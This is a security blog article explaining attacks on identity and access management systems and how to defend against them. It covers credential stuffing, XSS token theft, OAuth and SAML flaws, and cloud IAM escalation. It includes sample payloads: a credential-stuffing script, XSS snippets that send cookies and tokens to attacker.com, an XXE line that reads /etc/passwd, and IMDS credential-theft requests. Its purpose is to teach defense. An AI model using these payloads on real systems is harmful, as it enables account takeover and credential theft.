IAM Security — Attacks and Defenses
Thilan Dissanayaka Identity & Access Management May 28, 2020

IAM Security — Attacks and Defenses

Throughout this IAM series, we’ve covered how authentication works, how tokens are structured, how OIDC and SAML enable federation, and how different IdPs implement these standards. Now let’s talk about what happens when things go wrong.

IAM systems are the highest-value target in any organization. Compromise the identity layer, and you don’t need to exploit anything else. You just log in.

According to the Verizon Data Breach Investigations Report, compromised credentials are consistently the #1 attack vector — involved in over 80% of web application breaches. And it makes sense. Why exploit a buffer overflow when you can just steal (or guess) a password?

This article covers the major attack categories against IAM infrastructure — how they work, real examples, and how to defend against them.

1. Credential-Based Attacks

Credential Stuffing

Attackers take username/password pairs leaked from one breach and try them on other services. Because people reuse passwords, a surprising percentage of these work.

The attack is simple:

import requests

# Load leaked credentials
with open('breach_dump.txt') as f:
    for line in f:
        email, password = line.strip().split(':')
        response = requests.post('https://target.com/login', json={
            'email': email,
            'password': password
        })
        if response.status_code == 200:
            print(f"[+] Valid: {email}:{password}")

At scale, attackers use distributed botnets and rotate IPs to avoid rate limiting. Tools like Sentry MBA and OpenBullet automate this.

Defenses:

  • MFA — Even if the password is correct, the attacker needs the second factor
  • Breached password detection — Check passwords against known breach databases (Auth0 and Okta do this automatically)
  • Rate limiting and CAPTCHA — Slow down automated attempts
  • IP reputation and anomaly detection — Flag logins from suspicious IPs or unusual patterns

Password Spraying

Instead of trying many passwords for one account (which triggers lockout), the attacker tries one or two common passwords across thousands of accounts.

[email protected] : Password123!
[email protected]  : Password123!
[email protected] : Password123!
[email protected]   : Password123!
... 10,000 more ...

No single account exceeds the lockout threshold, but statistically, some accounts will use common passwords.

Defenses:

  • Smart lockout — Track failed attempts globally, not just per-account
  • Ban common passwords — Reject passwords that appear in breach lists
  • Anomaly detection — A burst of failed logins from one IP across many accounts is a red flag

Phishing — The Real-Time Kind

Classic phishing is a fake login page. But modern adversary-in-the-middle (AitM) phishing tools like Evilginx2 proxy the real login page in real time. The user sees the real website, enters real credentials and a real MFA code, and the attacker captures everything — including the session token.

User → Attacker's proxy → Real login page
                ↑
        Captures credentials + MFA + session cookie

The session cookie is the prize. With it, the attacker bypasses authentication entirely.

Defenses:

  • FIDO2/WebAuthn — The only MFA method that’s phishing-resistant by design. The hardware key checks the origin (domain) and refuses to sign for fake domains.
  • Token binding — Bind tokens to the TLS connection so they can’t be used from a different context
  • Conditional access — Block sessions from unfamiliar devices or locations

2. Session and Token Attacks

Session Hijacking via XSS

If the application has an XSS vulnerability and session cookies aren’t properly protected, the attacker steals the session:

// Attacker's XSS payload
<script>
new Image().src = 'https://attacker.com/steal?c=' + document.cookie;
</script>

Defenses:

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
  • HttpOnly — JavaScript can’t read the cookie
  • Secure — Only sent over HTTPS
  • SameSite=Strict — Not sent on cross-origin requests

JWT Token Theft from localStorage

If your SPA stores JWTs in localStorage, any XSS vulnerability gives the attacker the token:

// Attacker's XSS payload
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        access_token: localStorage.getItem('access_token'),
        refresh_token: localStorage.getItem('refresh_token')
    })
});

Unlike session cookies with HttpOnly, there’s no browser protection for localStorage. If the page is vulnerable to XSS, tokens are exposed.

Defenses:

  • Don’t store tokens in localStorage — use HttpOnly cookies or the BFF pattern
  • If you must use localStorage, minimize token lifetime and implement refresh token rotation with reuse detection

Session Fixation

The attacker sets a known session ID in the victim’s browser before they log in:

1. Attacker visits target.com → gets session_id=ATTACKER_SESSION
2. Attacker tricks victim into visiting: target.com?session_id=ATTACKER_SESSION
3. Victim logs in → server authenticates the session
4. Attacker uses the same session_id → already authenticated

Defense: Always regenerate the session ID after successful authentication. The old session ID becomes invalid.

Refresh Token Abuse

If an attacker steals a refresh token, they can mint new access tokens indefinitely — long after the user thinks they’ve logged out.

Defense: Implement refresh token rotation. Each time a refresh token is used, issue a new one and invalidate the old one. If the old one is used again (by the attacker), revoke the entire token family.

3. OAuth and OIDC Attacks

Authorization Code Interception

In the OAuth Authorization Code flow, the authorization code is returned via a redirect URI. If the attacker can intercept this redirect (through a malicious app on the device or a compromised redirect URI), they can exchange the code for tokens.

Defense: PKCE (Proof Key for Code Exchange). The client generates a random code_verifier and sends a hash (code_challenge) with the auth request. During code exchange, the server verifies the original code_verifier. Even if the attacker intercepts the code, they can’t exchange it without the verifier.

Open Redirect via redirect_uri

If the authorization server doesn’t strictly validate the redirect_uri, an attacker can redirect the authorization code to their own server:

GET /authorize?
    client_id=legitimate-app
    &redirect_uri=https://attacker.com/steal
    &response_type=code
    &scope=openid

If the authorization server accepts this, the code goes to the attacker.

Defense: The authorization server must enforce exact match on redirect URIs. No wildcards, no subdirectory matching. Every valid redirect URI must be pre-registered.

Token Substitution

An attacker takes an ID Token issued for Application A and presents it to Application B. If Application B doesn’t check the aud (audience) claim, it accepts a token that wasn’t meant for it.

Defense: Always validate that the aud claim matches your application’s client_id.

Confused Deputy Problem

A legitimate service is tricked into using its own privileges on behalf of an attacker. For example:

  1. Service A has broad API access (it’s a trusted backend)
  2. Attacker sends a request to Service A with a token that has limited scopes
  3. Service A, instead of forwarding the user’s token, uses its own service account token to call the downstream API
  4. The attacker gets elevated access through Service A’s privileges

Defense: Always propagate the user’s token (not the service’s token) for user-initiated requests. Validate scopes at every service boundary.

4. SAML Attacks

XML Signature Wrapping (XSW)

The most notorious SAML attack. The attacker manipulates the XML structure to separate the signed element from the processed element. The signature validates against the original element, but the application processes a forged element in a different location.

We covered this in detail in the SAML article, but here’s the key takeaway: the gap between “the signature is valid” and “the right element was signed” is where the vulnerability lives.

Defense: Use well-tested SAML libraries that handle XSW correctly. After signature validation, verify that the signed element is the one you’re processing.

Golden SAML

If an attacker compromises the IdP’s SAML signing certificate (private key), they can forge assertions for any user across every SP that trusts that IdP.

This was used in the SolarWinds attack (2020) — the attackers compromised the ADFS token signing certificate and forged SAML assertions to access Microsoft 365 and Azure resources.

Defense:

  • Protect signing keys with HSMs (Hardware Security Modules)
  • Monitor for anomalous assertions (unexpected users, unusual attributes, unfamiliar source IPs)
  • Rotate signing certificates periodically
  • Implement detection rules that alert on SAML assertions for sensitive accounts

XXE in SAML

SAML messages are XML. If the XML parser processes external entities, the attacker can read server files, perform SSRF, or cause DoS:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:NameID>&xxe;</saml:NameID>

Defense: Disable external entity processing in your XML parser. Every major language has configuration options for this.

5. Cloud IAM Attacks

Overprivileged IAM Roles

The #1 cloud security issue. An AWS IAM policy with wildcards:

{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
}

This grants full access to everything in the account. If the credentials for this role are compromised — game over.

Defense: Principle of least privilege. Grant only the specific actions on specific resources that are actually needed:

{
    "Effect": "Allow",
    "Action": ["s3:GetObject"],
    "Resource": ["arn:aws:s3:::my-app-bucket/*"]
}

Privilege Escalation via Role Chaining

An attacker with limited permissions discovers they can assume a more privileged role:

# Attacker has: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# They create a Lambda function with an admin role attached
$ aws lambda create-function \
    --function-name escalate \
    --role arn:aws:iam::123456789:role/admin-role \
    --handler index.handler \
    --runtime python3.9 \
    --zip-file fileb://payload.zip

# The Lambda function runs with admin privileges
$ aws lambda invoke --function-name escalate output.json

The attacker never had admin access directly, but they could pass the admin role to a Lambda function they control.

Defense: Restrict iam:PassRole to specific roles. Use permission boundaries to cap the maximum privileges a role can ever have.

IMDS Exploitation (SSRF to Credential Theft)

Cloud instances have a metadata service (IMDS) at http://169.254.169.254 that serves IAM credentials. If the application is vulnerable to SSRF, the attacker can steal these credentials:

# Step 1: SSRF to list available roles
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Step 2: Fetch temporary credentials for that role
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role

{
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "...",
    "Token": "...",
    "Expiration": "2024-05-20T12:00:00Z"
}

This was the technique used in the Capital One breach (2019) — an SSRF vulnerability in a WAF allowed the attacker to steal IAM credentials from the EC2 instance metadata.

Defense:

  • Use IMDSv2 (requires a session token, which SSRF can’t easily obtain)
  • Don’t run applications with overprivileged IAM roles
  • Use VPC endpoints and network policies to restrict metadata access

Service Account Key Leakage

Long-lived service account keys (AWS access keys, GCP service account JSON files) get committed to git repos, embedded in Docker images, or leaked through logs.

# Searching GitHub for leaked AWS keys
$ trufflehog github --org=company-name

Defense:

  • Never use long-lived access keys. Use short-lived credentials (STS, workload identity federation)
  • Rotate keys that must exist
  • Scan repositories for leaked secrets (GitGuardian, trufflehog)
  • Use tools like AWS Secrets Manager or HashiCorp Vault

6. Privilege Escalation

IDOR (Insecure Direct Object Reference)

The simplest and most common authorization flaw. The API uses a predictable identifier to reference resources:

GET /api/users/123/profile    → Returns user 123's profile
GET /api/users/124/profile    → Returns user 124's profile (if no authz check!)

The attacker just increments the ID and accesses other users’ data.

Defense: Validate that the authenticated user has permission to access the requested resource on every request. Don’t rely on obscurity (UUIDs help but are not a substitute for authorization checks).

Vertical Privilege Escalation via JWT Manipulation

If the server doesn’t properly validate the JWT signature (or uses alg:none), an attacker can modify the claims:

// Original token payload
{"sub": "user-123", "role": "user"}

// Attacker's modified payload
{"sub": "user-123", "role": "admin"}

If the server trusts the claims without verifying the signature, the attacker is now an admin.

Defense: Always verify JWT signatures. Always specify the expected algorithm. Never trust claims without verification. See the JWT article for the full list of JWT attacks.

Mass Assignment

The API accepts user-controlled fields that it shouldn’t:

PUT /api/users/123
Content-Type: application/json

{
    "name": "Thilan",
    "email": "[email protected]",
    "role": "admin",       // <-- The attacker added this
    "is_verified": true    // <-- And this
}

If the backend blindly maps all request fields to the database model, the attacker just made themselves an admin.

Defense: Whitelist allowed fields for each endpoint. Never map raw request bodies to database models without filtering.

7. Federation Abuse

Account Linking Vulnerabilities

Many applications link federated accounts (Google, GitHub) to local accounts based on email address alone. The assumption: if the Google account has email [email protected], it must be the same person as the local account [email protected].

The attack: the attacker creates a Google account with the victim’s email (Google doesn’t verify that the email belongs to you for all account types). They then use “Sign in with Google” on the target application. The app links the attacker’s Google account to the victim’s local account.

Defense:

  • Only link accounts when the email is verified (email_verified: true in the ID Token)
  • Require the user to authenticate with their existing account before linking a new federated identity
  • Don’t auto-link — let the user confirm

Subdomain Takeover + SSO

If a subdomain (e.g., old-app.company.com) is decommissioned but still registered as a trusted SP in the IdP’s SAML/OIDC configuration:

  1. Attacker takes over the abandoned subdomain (via dangling DNS record)
  2. Attacker sets up a SAML/OIDC SP on the subdomain
  3. The IdP still trusts this subdomain and will issue valid assertions/tokens for it
  4. Attacker receives valid user tokens for company.com users

Defense:

  • Regularly audit registered SPs in your IdP configuration
  • Remove trust for decommissioned applications
  • Monitor for subdomain takeover vulnerabilities

Defense in Depth — IAM Security Checklist

Authentication:

  • MFA everywhere — prefer phishing-resistant methods (FIDO2/WebAuthn)
  • Block common passwords, check against breach databases
  • Implement account lockout with intelligent detection (not just per-account)
  • Use adaptive authentication for high-risk scenarios

Tokens:

  • Short-lived access tokens (5-15 minutes)
  • Refresh token rotation with reuse detection
  • Proper storage — HttpOnly cookies or BFF pattern
  • Always validate: signature, exp, iss, aud

Authorization:

  • Principle of least privilege everywhere
  • Validate authorization on every request (not just the frontend)
  • Use RBAC or ABAC with proper access control models
  • Regular access reviews

Federation:

  • Strict redirect_uri validation (exact match)
  • PKCE for all public clients
  • Validate all SAML assertions (signature, audience, timestamps, InResponseTo)
  • Audit SP/RP registrations regularly

Cloud IAM:

  • Least privilege IAM policies (no wildcards)
  • IMDSv2 on all instances
  • No long-lived access keys — use short-lived credentials
  • Permission boundaries to cap maximum privileges

Monitoring:

  • Log all authentication events (success and failure)
  • Alert on anomalies (unusual location, impossible travel, brute force patterns)
  • Monitor for credential stuffing patterns
  • Track privilege escalation attempts

Tools for IAM Security Testing

Tool Purpose
Burp Suite Intercepting and manipulating auth flows, testing OAuth/OIDC/SAML
jwt_tool JWT security testing — alg:none, key confusion, brute-force
SAMLRaider Burp extension for SAML testing (XSW attacks, signature manipulation)
Evilginx2 AitM phishing framework (for authorized testing)
Pacu AWS exploitation framework — IAM enumeration, privilege escalation
ScoutSuite Multi-cloud security auditing (AWS, Azure, GCP IAM review)
trufflehog Scanning repositories for leaked secrets and credentials
Nuclei Automated vulnerability scanning with IAM-specific templates

Final Thoughts

IAM security isn’t a single feature you implement and forget. It’s a continuous process of defense in depth — layering multiple protections so that no single failure leads to compromise.

Every attack in this article has one thing in common: it exploits a gap between what the system assumes and what an attacker can do. The system assumes tokens are stored securely. The system assumes the JWT algorithm is correct. The system assumes the SAML assertion hasn’t been restructured. The system assumes the redirect URI is legitimate.

Your job as a security engineer is to challenge every assumption. Verify signatures. Validate claims. Check authorization on every request. Monitor for anomalies. And assume that credentials will be compromised — because they will.

The best IAM systems aren’t the ones that prevent every attack. They’re the ones that detect compromise quickly and limit the blast radius when it happens.

Stay secure — and stay paranoid.

ALSO READ
Writing a Shell Code for Linux
Apr 21, 2020 Exploit Development

Shellcode is a small piece of machine code used as the payload in exploit development. In this post, we write Linux shellcode from scratch — starting with a simple exit, building up to spawning a shell, and explaining every decision along the way.

Exploiting a Stack Buffer Overflow on Windows
Apr 12, 2020 Exploit Development

In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step. Now today we are going to jump...

Exploiting a  Stack Buffer Overflow  on Linux
Apr 01, 2020 Exploit Development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Basic concepts of Cryptography
Mar 01, 2020 Cryptography

Ever notice that little padlock icon in your browser's address bar? That's cryptography working silently in the background, protecting everything you do online. Whether you're sending an email,...

Common Web Application Attacks
Feb 05, 2020 Application Security

Web applications are one of the most targeted surfaces by attackers. This is primarily because they are accessible over the internet, making them exposed and potentially vulnerable. Since these...

Remote Code Execution (RCE)
Jan 02, 2020 Application Security

Remote Code Execution (RCE) is the holy grail of application security vulnerabilities. It allows an attacker to execute arbitrary code on a remote server — and the consequences are as bad as it sounds. In this post, we'll go deep into RCE across multiple languages, including PHP, Java, Python, and Node.js.

> > >